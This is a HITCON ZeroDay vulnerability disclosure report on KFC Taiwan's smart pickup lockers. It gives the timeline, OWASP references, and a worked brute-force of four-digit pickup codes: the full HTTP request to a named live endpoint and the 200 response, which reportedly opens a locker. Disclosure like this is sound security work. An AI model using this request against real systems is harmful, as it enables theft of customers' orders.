KFC數位智能未來店取餐權限漏洞

Vulnerability Overview

ZDID: ZD-2024-00674
發信 Vendor: 肯德基 - 富利餐飲股份有限公司
Title: KFC數位智能未來店取餐權限漏洞
Introduction: 攻擊者可利用該漏洞爆破測試後端資料庫權限，同時也有機會對資料進行破壞或修改。

處理狀態

目前狀態

公開

Last Update : 2024/08/12

新提交
已審核
已通報
未回報修補狀況
未複測
公開

處理歷程

2024/06/12 21:13:01 : 新提交 (由 CHW 更新此狀態)
2024/06/12 21:15:42 : 新提交 (由 CHW 更新此狀態)
2024/06/17 11:55:38 : 審核完成 (由 HITCON ZeroDay 服務團隊更新此狀態)
2024/06/25 20:03:26 : 審核完成 (由 HITCON ZeroDay 服務團隊更新此狀態)
2024/06/25 20:03:26 : 通報未回應 (由 HITCON ZeroDay 服務團隊更新此狀態)
2024/06/25 20:03:26 : 通報未回應 (由 HITCON ZeroDay 服務團隊更新此狀態)
2024/07/23 14:59:22 : 修補中 (由組織帳號更新此狀態)
2024/08/12 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

ZDID：ZD-2024-00674
通報者：CHW (CHW)
風險：中
類型：不安全的直接存取物件 (Insecure Direct Object References, IDOR)

參考資料

攻擊者可經由該漏洞取得系統中的其他使用者的資料或是系統檔案。

OWASP Top 10 - 2013 A4 - Insecure Direct Object References
https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References

Insecure Direct Object Reference Prevention Cheat Sheet
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.md

OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control

(本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)

敘述

Attempt

● 進入http://flws01.kfcclub.com.tw/taipei-Bade/#/main 取餐頁面(肯德基台北八德店)
● 輸入隨機取餐號碼

POST /walle/api/verify

● 使用四位數字爆破測試

Sniper

● Payload setting:
Character set: 0123456789
Min length: 4
Max length: 4

POST /walle/api/verify HTTP/1.1
Host: flws01.kfcclub.com.tw
Content-Length: 96
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://flws01.kfcclub.com.tw
Referer: http://flws01.kfcclub.com.tw/taipei-Bade/
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

{"machine_code":"taipei-Bade","security_key":"KM****************************","password":"§1234§"}

machine_code: 數位智能未來店門市代號
password: 取餐號碼

● Result:

成功回應200，對應的取餐門會自動打開。

HTTP/1.1 200 OK
X-Powered-By: Express
Cache-Control: no-store
Access-Control-Allow-Origin: *
Content-Type: application/json; charset=utf-8
Content-Length: 13
Date: Wed, 12 Jun 2024 12:26:16 GMT
Connection: close

{"lane_no":6}

6號「智能快取櫃」會自動打開

擷圖

留言討論

聯絡組織

發送私人訊息

您也可以透過私人訊息的方式與組織聯繫，討論有關於這個漏洞的相關資訊。

KFC數位智能未來店取餐權限漏洞 - HITCON ZeroDay

Vulnerability Detail Report